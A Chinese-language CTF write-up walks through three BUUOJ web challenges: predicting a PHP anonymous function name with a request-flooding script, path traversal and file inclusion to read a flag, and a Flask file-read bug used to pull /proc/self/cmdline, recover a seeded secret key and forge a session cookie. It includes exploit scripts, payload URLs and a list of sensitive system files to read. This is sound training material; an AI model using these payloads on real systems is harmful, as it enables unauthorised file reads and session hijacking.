本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[SUCTF 2018]annonymous
进去后便是代码
<?php
$MY = create_function("","die(`cat flag.php`);");
//创建一个$MY的匿名函数,函数的作用是输出flag
//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一个随机数
eval("function SUCTF_$hash(){"
."global $MY;"
."$MY();"
."}");
//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名
要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
// bin2hex()函数把ASCII字符的字符串转换为十六进制值
}
show_source(__FILE__);
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法kill掉旧进程fork新进程了) 在这个新进程里面匿名函数就会是从1开始的了
直接写一个脚本
import requests
while True:
r=requests.get('http://1e28ca4f-5f7c-4e20-964c-f0e017e12d73.node4.buuoj.cn:81/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')
[网鼎杯 2020 半决赛]AliceWebsite
打开后一个有几个按钮的页面我们f12看下代码
发现是个action函数传参进行页面跳转的,至此就这一个可利用点
试试跳目录访问
?action=../../../flag
flag{68db3161-ef58-4282-b4de-5cb7dc22ecf7}
其实有种更简单方法
审计源码发现
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>
文件包含:?action=/flag
[CISCN2019 华东南赛区]Web4
Hello World! Read somethings
就去就是这个,我们看看跳转到哪里去
跳转到了百度???????
有点意思
/read?url=https://baidu.com
url有点奇怪,但尝试了很久没发现啥,看wp发现php erl没有这种路由应该是flask存在敏感文件读取
/etc/passwd
用来判断读取漏洞的存在
/etc/environment
是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname
表示主机名。
/etc/issue
指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位置
于是我们试着读取一下
读取/proc/self/cmdline
read?url=/proc/self/cmdline
发现app.py
我们接着读取
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
简单审计一下,观看最后一段,我们要让session=fuck便能读取flag,但flag与file都被过滤了,知识点session伪造,至于怎么伪造还得分析一下
之前做过类似的题,session需要密钥,而密钥的加密方式已经告诉我们了
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
用了uuid.getnode()函数,搜了一下,是将mac地址转换成整数
先读取mac地址
02:42:ac:10:b9:db
生成伪随机数
import random
random.seed(0x0242ac10b9db)
print(str(random.random()*233))
87.10381153912127
之后先抓个包,发现session值
session=eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YaoNHA.O2qrJs7Nizm2ziAyYgTArA-E-xo
被三个点分割,首先第一个base64解码一下(需要自己加=)
{"username":{" b":"d3d3LWRhdGE="}}
d3d3LWRhdGE=
就是www.data
中间是时间戳,最后面是安全签名
我们接着构造session,用之前的脚本
python C:\Users\XINO\Desktop\flask_session.py encode -s '87.10381153912127' -t "{'username': b'fuck'}"
运行完后
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Yaoaag.6zJhFPGJ2d0JmpKGdqTnOqQdPNI
改session即可